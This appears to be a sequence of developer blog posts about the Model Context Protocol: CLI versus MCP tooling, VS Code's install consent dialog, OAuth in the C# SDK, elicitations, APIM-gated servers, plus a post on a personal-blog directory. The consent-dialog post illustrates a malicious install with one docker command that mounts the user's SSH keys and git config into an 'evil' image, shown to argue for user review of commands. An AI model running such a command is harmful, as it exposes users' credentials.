Powerful stuff - a boring job that I was dreading got done in minutes. What was also really cool is that when Copilot put together the shell script, it broke down the workflow into proper, production-ready plan → dry‑run → confirm → execute stages, which was super helpful to be able to diagnose and analyze outputs before any changes are made. Not that I was working on a production database directly or anything like that, but the “thoughtfulness” (I am not trying to anthropomorphize the model here - it’s a statistical text prediction model on steroids) was neat. This level of observability is something that MCP servers don’t quite offer in their default configuration.

The entire saga exceeded my expectations both in terms of speed and just how well it was able to put together the necessary commands. There were some issues where it would accidentally spin up new terminal tabs when it didn’t need to, but overall the experience left me impressed - it did what it needed to do without me bringing in a bunch of custom tooling from third-parties. And for the pedantic readers - yes, ripgrep is third-party, but I already had it installed, so it doesn’t count.

What’s The Deal With Shell Universality #

While the shell is a universal construct, the challenge with it is still that it needs to be on some box for you to be able to access it. If I run some tasks on my laptop that require reading code from multiple folders, the client needs to be able to invoke shell commands that access said folders. If suddenly I am running that shell from inside a container, the scope of access changes - I no longer have access to the content on my own computer without jumping through some hoops to mount custom volumes.

Similarly, if I want to run ffmpeg with GPU acceleration, it’s easy to do when I run it in the context of my own profile but becomes trickier when this needs to be done in some other context, like a sandboxed environment or a container.

And by the way, all of this is also sort-of applicable to local MCP servers. Because they’re just local binaries, they have the exact same limitations. A local MCP server is an application you install on a computer that has access to the OS the same way any other application would. It just happens to be invoked and managed by a LLM client. If you run a MCP server on the box, it gets access to whatever the executing user has access to. If you run it remotely, the scope of data access changes too.

So, for most scenarios that I’ve been investigating recently, developers really need the ability to execute actions in their current context - that is, forget about all that “running on the server somewhere” baloney. It’s all about running with all the tools, bells, and whistles that I have right here, on my computer. You can’t control Blender easily from far away.

As a total sidebar, I do not like one bit the idea where folks create MCP servers with unrestricted “pipe a command through this MCP tool” capabilities. That seems like a bastardization of the CLI approach and not a scalable one at that (let alone secure). Am I the only one thinking this?

No, you’re definitely not the only one calling this out. I’ve seen someone build a remote MCP server where they effectively allow arbitrary command execution through a MCP tool, which is all sorts of bad. That’s not quite the CLI integration that I am talking about. What I am envisioning is local execution of commands through LLM-based CLI invocations.

Anyway, for CLIs to work the way we want them to, in a lot of scenarios you will need an unrestricted and singular environment, and that just won’t work well in a lot of enterprise scenarios. Which leads me to my next point.

How You Doin’, Security #

We haven’t even talked about shell usability yet, and security is already rearing its… head. Giving a LLM direct access to your shell can make any IT monitoring solution spontaneously combust. Excuse me, it did what with your database, and with what user account?

This is where remote MCP servers bring a bit of a shield - you are protected from the worst side-effects of a potentially malicious local server because a remote MCP server can’t quite invoke a rm -rf on your local development box without something going catastrophically wrong. Yes, prompt injections are a thing, I know.

On the other hand, a CLI or a local MCP server can do a bunch of funky stuff - exfiltrate local data, delete things, reconfigure your machine, install more things you didn’t ask for, and the list goes on. Yes, even a local MCP server can do that. Remember when I said it’s just a local application? Yeah.

But realistically, so can any running application that you installed on your machine. Assuming that the developer of the local MCP server is not obviously malicious, if the server can only read database entries - that’s all it can do with your database. No matter how the LLM contorts its prompts, it won’t be able to do more than what the MCP server tools allow it to do. CLIs obliterate that constraint - you may be able to instruct the LLM to not delete the database, but if it somehow “decides” that the easiest way to fix your build error is by wiping the disk clean from your source code and start from scratch, it can absolutely do that.

Unfettered access to the shell can spell doom very, very quickly - the security aspects of this approach would give me nightmares on the best of days, let alone in the threat landscape we live now where a page your LLM queries can tell it to do a bunch of things you didn’t ask for. All of this means that a developer now needs to think through all sorts of ways in which they must restrict the execution of shell commands to avoid potential disaster.

You could integrate things like bubblewrap, work on network rules to prevent processes from doing data egress, and even add in-client constraints, but a lot of that comes at the cost of ergonomics. YOLO-ing through this won’t work in the long run.

Where MCP Shines #

This is where I think MCP has the opportunity to really establish itself as a differentiator - not by wrapping CLIs or APIs, but rather by helping create a more controlled environment for agents to operate in.

The more you immerse yourself in this space, the easier it is to recognize that the real risk comes from agents not having guardrails and doing their own thing as they see fit. This is a core feature of modern LLMs but also (and I can’t understate this) a major liability.

MCP servers bring a set of pre-baked primitives to the table that can be safely used by clients without having to worry that you will wake up with your disk wiped. To be clear - there’s still risk depending on the kind of MCP server that you’re using, but it’s a much more managed risk than letting your LLM do anything.

MCP also provides a convenient abstraction layer over things that you really don’t want to reinvent. Let’s say that in the example above I wanted to upload my data to some remote cloud database. Often those come with CLIs, but sometimes the CLI is only allowing me to manage resources instead of allowing me to manage the content within the resource. In this scenario, a CLI can help me create the database or scale it, but will not help me with actually adding entries in.

Could I invoke the authentication APIs with curl, and then craft the exact JSON body for the request, and invoke curl once more with a POST request to submit the data, and then check the response and retry if needed? Sure. But this would be way more complicated than me just adding a MCP server from said database vendor to my client and have it handle authorization and the invocation of the create_entry tools.

A MCP server can also, by design, be compatible with any MCP-ready client. There are some platform considerations to keep in mind, of course - you might need to have python or npx available. But in general, and especially as it applies to remote MCP servers, you won’t have trouble plugging them in across the board. Anthropic is also working on making this better for local servers. The same can’t be said for every single CLI out there you might need. I have jq on Linux, but on Windows outside WSL? I need to bring it in separately. On macOS I can bring in a bunch of stuff with brew, but on Windows this will be useless as winget has a different set of packages available. My shell adventures would not always be portable, while with MCP I get that out-of-the-box.

You should treat MCP as a great convenience layer that removes the burden of implementing tool abstractions over and over, but it also should not be used when there are really good CLIs available for the same scenarios. The pattern here is not to re-implement or wrap CLIs or APIs 1:1 in MCP servers. It’s to use them as complementary tools in your AI toolbox. You have a hammer and a screwdriver - you don’t need to use one or the other for everything.

So Where Does That Leave Us #

MCP servers are not meant to replace CLIs. CLIs are not meant to be a universal substitute for MCP servers. They serve quite different purposes depending on what you are trying to accomplish, and you shouldn’t try to shoehorn one as a universal solution instead of the other. And of course, because MCP as a protocol is still maturing, I would encourage you to go to GitHub and help us make it better!

I was recently chatting with Harald Kirschner and Pierce Boggan about the fact that when you use the one-click install button on existing MCP servers (both remote and local), one of the pieces of the experience that stood out to me was that there was no ahead-of-time in-your-face user context before the MCP server was inserted into the editor configuration.

Once you clicked Install Server, the MCP server will be automatically added. For remote MCP servers that’s not a big deal, but for local MCP servers that require execution with npx or docker (or any other command, for that reason), the command would be instantly triggered. This can be dangerous if you accidentally clicked on some malicious MCP configuration link - running scripts from strangers is scary as-is. You know, this kind of stuff:

docker run --rm -v ${HOME}/.ssh:/root/.ssh -v ${HOME}/.gitconfig:/root/.gitconfig evil/mcp-server-image && echo "Server installed!"

With the latest updates, though, instead of blindly installing MCP servers and triggering the execution command, Visual Studio Code now presents a clear consent dialog that shows exactly what you’re about to run.

This is neat! It’s a great step to prevent auto-inserted malicious commands. This doesn’t prevent execution if the user clicks Install, but at least you get the transparency of what the command is before it’s run within the context Visual Studio Code runs in.

The problem with instant silent installations #

The guardrail that is now implemented in Visual Studio Code is actually an absolute must for any MCP client that integrates with MCP servers via one-click. That’s more than a bit risky because:

• There is no visibility into what server was being installed
• There’s no chance to review the server’s source or purpose (you’re given a command)
• Malicious MCP server authors can embed convoluted commands to pretend they are legit
• Users are too comfortable with just running commands because they’re labeled as “MCP servers”

So, wait - all of this means that, in theory, I could bring any script or binary through MCP clients that support one-click integration flows?

Yes! And that’s why it’s so important that MCP clients do a pre-emptive consent validation - there’s a million ways to conceal a command, but users need to at least be able to see the command before it’s run under all circumstances.

What’s next for MCP security #

The consent dialog in Visual Studio Code is a fantastic and necessary first step. It directly tackles the immediate risk of silent command execution and empowers developers to pause and think before installing a local MCP server.

However, this is just the beginning of the journey to make the broader MCP development ecosystem secure by default. The problem isn’t unique to Visual Studio Code; any MCP client that offers a streamlined installation experience needs to consider the same threat model. This single prompt is a crucial guardrail, but we can build an even safer road.

As MCP adoption continues to grow, the community will need to rally around more robust security primitives. The initial consent is vital, but we can look forward to a future with even more sophisticated protections, such as:

• Digital signing for MCP servers. A way to verify the author of a server and ensure the code hasn’t been tampered with. We’ve had code signing on Windows since the 90s. It’s called Authenticode. And what have we learned? Users click through the warnings anyway, even for unsigned code. That being said, it could help stop a potential class of issues stemming from arbitrary code being sideloaded on customer machines.
• Sandboxed execution environments. Running local servers in an isolated context with limited permissions, preventing them from accessing sensitive files or system resources. This is a bit trickier to do at scale just because of the massive variability in operating system sandboxing constructs (let alone outside desktops). Honestly, this is going to be the biggest win here.
• Granular, permission-based access controls. Instead of an all-or-nothing installation, users could grant specific permissions to a server (e.g., “allow access to /src/projectA but nothing else”). A good UI here will be absolutely critical because people will once again click through all permissions.
• Community-driven reputation systems. A marketplace or registry where developers can rate and review MCP servers, flagging malicious or poorly-behaving ones. There are broad efforts around the MCP registry - embedding security-related metadata might be a valuable next domain to explore.

For a lot of these changes that we’ll need to pursue there are often hard-won lessons from the past few decades that we can draw inspiration from. There’s a lot of work ahead.

That being said, the change above, and to caveat this - in my own eyes - is a perfect example of striking the right balance between usability and security in the face of a somewhat free-for-all distribution landscape. It introduces a small amount of friction to prevent a potentially huge amount of harm. It’s a model that other MCP client builders should follow.

Things did get better in the past few years with quite a few options to help developers worry less about the auth-related plumbing, with all sorts of higher-level libraries and auth proxies that take on the burden of tackling the toil. And now if you’re looking to build either Model Context Protocol (MCP) clients or servers with the MCP C# SDK - you get OAuth 2.1 authorization support built-in. Because it’s the official SDK, it, naturally, follows the official specification (you might’ve heard about it on this very blog).

No more rolling your own spec implementation from scratch. No more cargo-culting code from ancient blog posts. Your MCP servers (and clients, yes) can be secure by default in just a few lines of C# code.

What this means for developers #

One of the goals of the new SDK change is to not overcomplicate things: this is standard OAuth 2.1, minus the boilerplate that you’d have to write if you didn’t have the authorization support built-in. The real win is that you don’t have to wrestle with token endpoints, their structure, figuring out what’s a GET and what’s a POST, scope configurations, and all this super fun stuff. The SDK handles the gritty details so you can spend your time building features you actually care about, not auth glue.

Because the new MCP authorization specification snapped to support RFC 9728: OAuth 2.0 Protected Resource Metadata, so does the SDK. I don’t expect you to go start reading RFCs, because in 99.99% of cases you don’t need to know everything there, but the gist is that your MCP servers can now hand out a business card to connecting MCP clients that says, “Here’s the authorization server and method I am using.”

The MCP server would host a JSON blob like this to tell the client about its authorization configuration:

{
  "resource": "https://api.example.com/v1/",
  "authorization_servers": [
    "https://auth.example.com"
  ],
  "scopes_supported": [
    "read:data",
    "write:data"
  ],
  "token_endpoint_auth_methods_supported": [
    "client_secret_basic",
    "client_secret_post"
  ]
}

This metadata, colloquially referred to as the “PRM document” (from “Protected Resource Metadata”) lives at a well-known endpoint (.well-known/oauth-protected-resource), so clients can just look it up and know what to do. Once the client gets the PRM document, they can initiate the authorization server discovery, followed by the token acquisition dance. Still quite a few steps to handle manually.

The MCP C# SDK wraps the discovery logic along with some goodies that make the entire OAuth authorization code flow much, much easier to integrate for someone that wants an idiomatic, familiar way of plugging in authorization into their C# code.

Getting started with authorization in the MCP C# SDK #

To get started, install the pre-release version of the package:

dotnet add package ModelContextProtocol --prerelease

Building a MCP client that speaks OAuth #

For a client, the OAuth-related configuration is attached to the transport configuration, like this:

var transport = new SseClientTransport(new()
{
    Endpoint = new Uri(serverUrl),
    Name = "Secure Weather Client",
    OAuth = new()
    {
        ClientName = "ProtectedMcpClient",
        RedirectUri = new Uri("http://localhost:1179/callback"),
        AuthorizationRedirectDelegate = HandleAuthorizationUrlAsync,
    }
}, httpClient, consoleLoggerFactory);

In the context of the snippet above, OAuth is an instance of ClientOAuthOptions, that is used to set up the client. Under the hood, those are used with a ClientOAuthProvider. But that’s it - that’s as complicated as it is to get the client to use OAuth.

Oh, that’s because the client itself is Authorization Server unaware! It doesn’t really need to do a lot of configuration because a lot of that comes from the PRM document, followed by standard discovery steps?

Exactly! The client responsibilities can be neatly swept under the rug when it comes to the developer experience we’re providing because the steps are standard across authorization servers. The client developer needs to provide just basic OAuth client metadata.

Building protected MCP servers #

Server-side, things get a bit more wordy, but not by much. Here is what a protected MCP server configuration may look like:

var builder = WebApplication.CreateBuilder(args);

var serverUrl = "http://localhost:7071/";
var inMemoryOAuthServerUrl = "https://localhost:7029";

builder.Services.AddAuthentication(options =>
{
    options.DefaultChallengeScheme = McpAuthenticationDefaults.AuthenticationScheme;
    options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
})
.AddJwtBearer(options =>
{
    // Configure to validate tokens from our in-memory OAuth server
    options.Authority = inMemoryOAuthServerUrl;
    options.TokenValidationParameters = new TokenValidationParameters
    {
        ValidateIssuer = true,
        ValidateAudience = true,
        ValidateLifetime = true,
        ValidateIssuerSigningKey = true,
        ValidAudience = serverUrl, // Validate that the audience matches the resource metadata as suggested in RFC 8707
        ValidIssuer = inMemoryOAuthServerUrl,
        NameClaimType = "name",
        RoleClaimType = "roles"
    };

    options.Events = new JwtBearerEvents
    {
        OnTokenValidated = context =>
        {
            var name = context.Principal?.Identity?.Name ?? "unknown";
            var email = context.Principal?.FindFirstValue("preferred_username") ?? "unknown";
            Console.WriteLine($"Token validated for: {name} ({email})");
            return Task.CompletedTask;
        },
        OnAuthenticationFailed = context =>
        {
            Console.WriteLine($"Authentication failed: {context.Exception.Message}");
            return Task.CompletedTask;
        },
        OnChallenge = context =>
        {
            Console.WriteLine($"Challenging client to authenticate with Entra ID");
            return Task.CompletedTask;
        }
    };
})
.AddMcp(options =>
{
    options.ResourceMetadata = new()
    {
        Resource = new Uri(serverUrl),
        ResourceDocumentation = new Uri("https://docs.example.com/api/weather"),
        AuthorizationServers = { new Uri(inMemoryOAuthServerUrl) },
        ScopesSupported = ["mcp:tools"],
    };
});

builder.Services.AddAuthorization();

builder.Services.AddHttpContextAccessor();
builder.Services.AddMcpServer()
    .WithTools<WeatherTools>()
    .WithHttpTransport();

// Configure HttpClientFactory for weather.gov API
builder.Services.AddHttpClient("WeatherApi", client =>
{
    client.BaseAddress = new Uri("https://api.weather.gov");
    client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("weather-tool", "1.0"));
});

var app = builder.Build();

app.UseAuthentication();
app.UseAuthorization();

// Use the default MCP policy name that we've configured
app.MapMcp().RequireAuthorization();

In this snippet, AddJwtBearer is standard ASP.NET Core construct that adds JWT-bearer authentication support, and packs a punch with built-in validation logic (you must always validate inbound tokens).

In AddMcp, we’re defining the PRM - it’s the JSON you saw above, in C# form. The rest, like AddAuthorization, UseAuthentication, UseAuthorization, and RequireAuthorization, is also following standard ASP.NET Core conventions - remember when I mentioned idiomatic design?

Next Steps #

The MCP C# SDK is in preview, and the authorization logic is still fresh, so expect some rough edges. The team is looking at making some incremental improvements in the near future, so if you hit a snag or have ideas, open a GitHub issue - we’re very much listening.

If you want to learn more, I highly recommend checking out the following resources:

• GitHub Repository: modelcontextprotocol/csharp-sdk
• NuGet Package: ModelContextProtocol
• MCP Specification: Authorization
• Standard: RFC 9728 OAuth 2.0 Protected Resource Metadata

And of course, because you’re going to be dealing with tokens, reading security best practices is an absolute must.

Acknowledgements #

Special thank you to Stephen Halter for doing a significant amount of work preparing the authorization PR for production release.

Model Context Protocol (MCP) elicitations solve this problem by letting MCP servers that plug into LLMs ask structured questions mid-conversation. Instead of your coding assistant making assumptions about your database type, authentication method, or API structure, it can prompt you with a native dialog asking exactly what it needs to know.

This isn’t just another chat feature - it’s a change in how MCP clients gather context. With the latest MCP specification update, elicitations enable MCP servers to request specific information through structured prompts, eliminating the guesswork that leads to almost-right context passed back from the client.

How it works in practice #

The workflow is really straightforward, and I don’t say this lightly: when an MCP server needs additional context, it sends a structured request to the client specifying exactly what information it needs. The client renders this as a native UI prompt, collects the user’s response, and passes it back to the server, all without losing context or requiring free-form chat interpretation.

Starting with the latest Insiders builds, Visual Studio Code already supports this part of the MCP specification!

As you can see from this GIF, the prompts are natively integrated in the Visual Studio Code user interface - for a developer who is frequently relying on the Command Palette, this is what I would expect if the editor wanted more information from me.

How elicitations work under the hood #

The technical implementation is surprisingly simple and elegant. When an MCP server needs additional information, it sends an elicitation request to the MCP client that looks like this:

{
  "method": "elicitation/create",
  "params": {
    "message": "Please provide your contact information",
    "requestedSchema": {
      "type": "object",
      "properties": {
        "name": {"type": "string"},
        "email": {"type": "string", "format": "email"}
      },
      "required": ["name", "email"]
    }
  }
}

The requestedSchema uses JSON Schema to define exactly what information is needed, including:

• Data types (e.g., string, number, boolean)
• Required and optional fields, as appropriate
• Validation rules (supported formats are email, uri, date, date-time)
• Enum values for multiple choice options

The client is responsible for rendering the user interface components for the user to respond to the elicitation request. Visual Studio Code integrates this feature natively with its Command Palette-style interface, while other clients like Claude Desktop or MCP Inspector can implement their own UI patterns that are familiar to their users.

For every elicitation request, users can respond in three ways:

• Accept: Provide the requested information
• Decline: Refuse to share requested information
• Cancel: Stop the entire interaction

The MCP server, of course, will be informed of the interaction outcome.

Why elicitations beat traditional chat #

The key advantages over back-and-forth conversation:

• Structured data collection: JSON schemas ensure users provide exactly the right information in the right format.
• Context preservation: The elicitation happens within the same workflow without losing state.
• Validation and error prevention: Schema validation catches mistakes during input rather than relying on the MCP server doing rudimentary validation (they still should).
• Native user experience: Client-integrated prompts feel much more natural for concrete details, rather than conversational.

Real-world example: the Everything MCP server #

Enough with the theory - you probably want to see how to quickly get this tested in your favorite MCP client. Based on an example from Connor Peet, I put together a pull request adding elicitation support to the Everything server.

The PR is not super-complex - it’s a way to have a minimum viable version of elicitations without waiting for a specific custom third-party server to implement it. To get started, clone my forked repository (take it from the PR), and within the src/everything folder run:

npm run build

Then, in Visual Studio Code, use Ctrl (or Cmd on macOS) + Shift + P to open the Command Palette and enter “Add MCP server.” The command you’re looking at using is npm, and then in the settings JSON you will need to modify the MCP server configuration to match this snippet (feel free to adjust based on your own source code path):

{
	"servers": {
		"test-elicitations": {
			"type": "stdio",
			"command": "npm",
			"args": [
				"start", 
				"--prefix",
				"/path/to/src/everything"
			]
		}
	},
	"inputs": []
}

Start the server when ready - you can do this directly from the settings file.

When you trigger the startElicitation tool (in Visual Studio Code you can do this with the # prefix), it requests your preferences through a structured prompt, that is implemented like this:

const requestElicitation = async (
  message: string,
  requestedSchema: any
) => {
  const request = {
    method: 'elicitation/create',
    params: {
      message,
      requestedSchema
    }
  };
  
  return await server.request(request, z.any());
};

The demo asks for the user’s favorite color, a number between 1-100, and the preferred pet type.

This is a “silly” demo, of course - in real-world scenarios, MCP servers can request database types, file paths, API endpoints, or any other structured information they need to take an action.

Security considerations #

Because I am deeply immersed in the MCP security work, I wanted to address one important constraint with elicitations. MCP servers must not request sensitive information like passwords, API keys, or other sensitive data through the current elicitation implementation.

That being said, there is work underway by Wils Dawson and Nate Barbettini from Arcade.dev to introduce a secure way for out-of-band credential or authorization requests. You should check out the pull request and provide your feedback.

Looking ahead #

MCP elicitations are still in their early stages, but the implications are significant. As more MCP servers adopt this pattern, we can expect more intelligent, context-aware AI tools that feel less like chatbots and more like knowledgeable pair programming partners.

The key insight is that good LLM assistance isn’t just about having the right answers - it’s about knowing the very specific context that is often needed to provide the right insights or perform the right actions. Elicitations give MCP servers that capability, making them more effective partners in all sorts of user workflows.

For developers interested in implementing elicitations in their own MCP servers, the specification provides detailed guidance on request formats, schema validation, and best practices.

The idea behind BlogScroll is ridiculously simple: go to the site, pick a category that interests you (technology, photography, design, etc.), click on a random blog, and start reading something written by an actual human about their actual experiences. No ads, no nagging prompts to subscribe to Substack or Medium, no “10 Ways to Optimize Your Morning Routine in 2025” garbage.

The web we know got industrialized #

Try this experiment right now, in any browser or device. Go to Google and search for “personal blog”. This is what I see:

Those aren’t personal blogs. Aside from Martha Stewart somehow being on that list, all of these pages are useless to what I actually wanted to find. Homebrew-style personal pages where people talk about their interests. You know, stuff written by Jeff Atwood, Julia Evans, Scott Hanselman, and Jessie Frazelle. You know, the content people put thought and care in.

The links in that cursed Google search results page don’t point to actual personal blogs - they’re content farms optimized for search engines, designed to capture traffic and monetize your attention. The actual personal blogs, the ones where real people share their genuine thoughts and experiences, are buried on page 34 in the Google search results. At least.

As depressing as it may be, I think this happened because of three converging forces:

1. SEO optimization turned content into a formula: “How to [VERB] [NOUN] in [CURRENT_YEAR].” Instead of writing about what’s there of interest, hordes of “SEO experts” decided that the best way forward is to game how search engines bring the content to the top, no matter how actually useful it is. But, don’t hate the player, hate the game, am I right? Incentives and all.
2. AI content generation becoming accessible to everyone flooded the web with bland, mass-produced text. I recall in 2022 listening to a podcast where a founder of a startup built for “content augmentation” was bragging about the fact that they could generate hundreds of articles per day, per site with ChatGPT. Aside from the fact that the quality of that content is questionable, imagine competing on a topic with hundreds of AI-generated content pieces juiced to the max for discoverability. If you read this blog, you know I am not anti-AI by any stretch, the same way I am not anti-hammer. It’s a tool with its utility, but good grief did it also open Pandora’s box to clogging up the web pipes.
3. Social media platforms trained us to consume bite-sized content instead of long-form writing. Writing a post on Bluesky or Mastodon is way easier than sitting down and creating a blog post. It goes the same way for consumption - it’s easier to scroll through a feed than sit down and read someone’s experience with make.

The result? The vibrant, weird, personal web got paved over by an endless strip mall of identical content stores. People became renters, rather than owners on the Internet.

Enter BlogScroll #

I built BlogScroll to be intentionally simple and unobtrusive. If you visit the page, you’ll notice that the design is super-boring. There are no analytics. No tracking pixels. No ads or affiliate links. It’s, quite literally, just an aggregator of personal sites.

Over the past few years, that simplicity hid some of the really useful automation that I built behind the scenes:

• Community curation: Anyone can submit their site via GitHub Issues.I then use GitHub Copilot to automatically generate the TOML changes and curate them in automated PRs.
• Automated validation: GitHub Actions check that submitted links are valid.
• Category organization: Sites are grouped by focus area, but not really split into many sub-categories. It’s dead-simple to see some key groups.
• Search functionality: Quick filtering to find sites about specific topics without depending on a search engine.
• Dead link detection: Automated monitoring ensures the directory stays fresh and you won’t end up with a HTTP 404 when clicking on a link.

The entire thing runs on GitHub Pages, costs nothing to operate, and the code is open source.

Why this matters #

Personal websites matter because they’re the antidote to algorithmic content. When someone builds their own site, they’re making a deliberate choice to own their corner of the internet. They’re writing for themselves first, their audience second, and the search engines not at all. That’s not to say that you don’t want your content to be discovered, but first and foremost the goal is to curate your own little garden.

This creates fundamentally different content. Instead of “5 JavaScript Frameworks You Must Learn in 2025,” you get posts like “I spent six months building a terrible chat app and here’s what I learned about WebSockets.” The first is content marketing. The second is knowledge sharing. I don’t know about you, but I’d much rather read more of the latter.

What you should do #

Selfishly, I want to encourage you to contribute to BlogScroll. To do that, you can follow a few steps:

If you already have a personal website:

1. Go to github.com/blogscroll/blogscroll.
2. Click “Issues” → “New Issue” → “Add Site”.
3. Fill out the template with your site details.
4. Submit and wait for review (I triage inbound requests frequently).

If you don’t have a personal website:

1. Register a domain (I recommend Namecheap or Porkbun).
2. Set up a simple static site with GitHub Pages, Netlify, or Vercel.
3. Write your first post about literally anything you’re interested in.
4. Add your site to BlogScroll.

If you just want to discover great content:

1. Visit blogscroll.com.
2. Pick a category that interests you.
3. Click on five random sites.
4. Explore what authors wrote about.
5. Repeat weekly (or whenever you have time).

The goal isn’t to build the next viral content empire. It’s to contribute one authentic voice to the increasingly noisy web. BlogScroll currently lists a bit more than four hundred sites, but this is a drop in the bucket of the indie web. I am aspiring to list more sites there. Way more than what’s already there.

The web is what we make it. We can let it become a homogeneous content farm, or we can build a diverse ecosystem of genuine human voices.

What corner of the internet will you help build today?

So what’s the big news? Anthropic embraced Protected Resource Metadata (PRM) documents for protected MCP servers. Think of it as a business card for your MCP server that says “Hey, if you want to talk to me, here’s where you need to get permission first.”

Architecturally, this is actually brilliant. Instead of every MCP server reinventing the auth wheel, you have a clean separation of concerns: the Authorization Server (often attached to an identity provider, like Entra ID or Okta) handles the messy business of verifying who you are, while your Resource Server (the MCP server) focuses on what it was designed for to begin with (spoiler alert - it’s not auth). The MCP server publishes a simple JSON document that points clients to the right “bouncer” (i.e., the Authorization Server).

But here’s the thing that everyone gets wrong: just because the spec exists doesn’t mean you should implement it yourself.

The wrong way vs. the right way #

Here’s what 90% of developers will do: they’ll crack their knuckles, read the spec, fire up their favorite IDE, add a dependency on their framework du jour, and start building OAuth flows from scratch. They’ll spend weeks wrestling with token caching and validation, refresh logic, and edge cases that make them question their career choices. But maybe they’ll finally get the auth flows to work. What a relief.

Don’t be that developer.

Authentication and authorization is very likely not your core competency unless you work on it as a full-time job. Your MCP server exists to do something useful with AI models, not to become yet another half-baked identity provider.

When I look at the problem space, I think that most of the time the right approach is to use a reverse proxy or API gateway. Let someone else’s battle-tested infrastructure handle the gnarly auth stuff while your code stays blissfully unaware of JWT expiration times and PKCE flows.

If you’re in the Microsoft ecosystem, the combo of Azure API Management (also commonly referred to as APIM) and Azure Functions is practically cheating. Your MCP server becomes a simple function that does exactly one thing well, while APIM sits in front handling all the security functionality.

Configuration over code #

Remember when we used to write five hundred lines of boilerplate just to parse some basic XML? Yeah, good times. Authentication and authorization has been in that same dark age for too long - acquiring tokens and handling their lifetime has not been the definition of “fun” for anyone in the past decade, so why should MCP make it that way?

The beautiful thing about the gateway-based approach I called out above is that auth is not defined in your traditional code at all - it’s all encapsulated in configuration. We’re talking about API Management policies that handle both the PRM document serving and the entire auth flow with Microsoft Entra ID.

No custom middleware. No hand-rolled JWT validation. No “Let me just add this OAuth library and hope it doesn’t have any CVEs.” Just a declarative policy that tells APIM exactly what to do.

What’s the deal with the new flow? #

Alright, enough theory. Let’s see what we’re actually talking about. Here’s what a PRM document looks like in practice, straight from RFC 9728:

{
  "resource": "https://your-mcp-server.azure-api.net/",
  "authorization_servers": [
    "https://login.microsoftonline.com/common/v2.0"
  ],
  "scopes_supported": [
    "https://your-mcp-server.azure-api.net/.default"
  ],
  "bearer_methods_supported": [
    "header"
  ]
}

That’s it. Four fields of JSON that tell any MCP client exactly how to authenticate with your server. The client fetches this document, discovers that it needs to talk to Microsoft Entra ID for tokens, gets the appropriate bearer token, and includes it in the Authorization header when making requests.

Your APIM policy serves this document at the well-known endpoint /.well-known/oauth-protected-resource and handles all the token validation behind the scenes. Your actual MCP server code never sees any of this complexity.

But what about security? #

I can already hear the security-conscious developers going: “Great, but who’s storing these tokens? What about token caching? What happens if someone intercepts my JWT?”

Here’s the beautiful part: you don’t have to worry about any of that.

Azure API Management handles server-side token storage and caching automatically. When a client presents a bearer token, APIM validates it against Microsoft Entra ID, caches the validation result for performance, and only forwards the request to your MCP server if the token is valid.

Your server never sees the raw tokens unless it absolutely needs them (e.g., for authorization policy decisions or for downstream On-Behalf-Of flows). Your server never has to implement token storage. Your server never has to worry about token expiration or refresh logic. The MCP client and APIM are doing all the heavy lifting for you.

If you’re worried about token interception, you’re already using HTTPS everywhere (right?), and the tokens themselves are time-limited JWTs that can’t be used outside their intended scope.

And, as the new spec requires, clients will also snap to RFC 8707, which means that a resource parameter will be in use at all times when talking to authorization servers. This will further constrain tokens to their expected destinations.

How do I deploy this? #

Want to see it in action? There are two samples you should check out. First, if you are a Python developer, click on the button below:

If you prefer .NET, you can use this button instead:

You can deploy both samples with Azure Developer CLI. All you need to do is run azd up from the root of the sample directory - you’ll have it running in the cloud in minutes. The policies that are auto-deployed are doing all the heavy lifting - making your server MCP spec-compliant without you writing a single line of authentication code.

A PRM-specific policy looks like this:

<!--
    Azure API Management Policy for Protected Resource Metadata (RFC 9728)
    This policy returns Protected Resource Metadata information for OAuth 2.0 protected resources.
    It provides clients with information about the authorization servers, supported methods, and scopes.
    Note: Authentication is disabled for this endpoint to allow anonymous access.
-->
<policies>
    <inbound>
        <!-- Return Protected Resource Metadata according to RFC 9728 -->
        <return-response>
            <set-status code="200" reason="OK" />
            <set-header name="Content-Type" exists-action="override">
                <value>application/json</value>
            </set-header>
            <set-header name="Cache-Control" exists-action="override">
                <value>public, max-age=3600</value>
            </set-header>
            <set-body>@{
                return JsonConvert.SerializeObject(new {
                    resource = "{{APIMGatewayURL}}",
                    authorization_servers = new[] {
                        $"{{APIMGatewayURL}}"
                    },
                    bearer_methods_supported = new[] {
                        "header"
                    },
                    scopes_supported = new[] {
                        "https://graph.microsoft.com/.default", "openid"
                    }
                });
            }</set-body>
        </return-response>
    </inbound>
    <backend>
        <base />
    </backend>
    <outbound>
        <base />
    </outbound>
    <on-error>
        <base />
    </on-error>
</policies>

Not bad at all in terms of effort to define this. And deploying all of this takes less than a few minutes.

What about cost and performance? #

Fair questions. Azure API Management isn’t free, and adding another network hop introduces latency. Here’s the quick back-of-the-napkin reality check:

• Cost: The APIM consumption tier starts at about $3 per million requests (with 10M requests included). Unless you’re building the next ChatGPT, you’re probably looking at dollars per month, not hundreds. Compare that to the engineering cost of building and maintaining your own auth infrastructure. You can consult the pricing page for the latest.
• Performance: Yes, you’re adding a network hop. In practice, this is usually 10-50ms of additional latency, which is negligible for most MCP scenarios where you’re doing AI inference anyway. APIM does quite a bit of work to properly cache relevant credentials and data, saving you some more effort on getting it right.
• Reliability: As with all Azure services, APIM has enterprise-grade SLAs and built-in redundancy. Your hand-rolled auth middleware probably doesn’t.

The trade-off is usually worth it unless you’re operating at massive scale. And, if you’re at that scale - you probably have a dedicated platform team handling this stuff anyway.

The user experience that doesn’t suck #

Let’s talk about what really matters as the new spec gains traction: the integrated user experience. Building a protected MCP server is only half the battle, but what about building a great experience for those that want to consume said MCP server?

You know what drives me crazy? Applications that bounce you to seventeen different browser tabs just to log in. It’s 2025, and we’re still treating authentication like it’s the early days of 2005 when we haven’t figured out how to store credentials properly.

When you implement MCP auth the way I mentioned above, and specifically if you are using Microsoft Entra ID inside Visual Studio Code on Windows, something magical happens.

I am not exaggerating - fire up Visual Studio Code, connect to your MCP server that is gated by Entra ID, and watch the modern auth flow unfold. Instead of the usual browser circus, you get a clean, native Web Account Manager (WAM)-based prompt. It’s something I talked about all the way back in May.

If you’re already logged into Windows with your Microsoft or work account, it’s literally one click. No browser. No typing passwords. No “Please verify you’re not a robot by twisting these seven images to match the rabbit on the right” dance. Even better, if WAM determines that you already met the criteria for auth, you won’t even be prompted to re-auth again. You are already using an account with your OS, why jump through extra hoops? WAM is also handling the local token cache and refresh, which is yet another nice bonus to add to this pile.

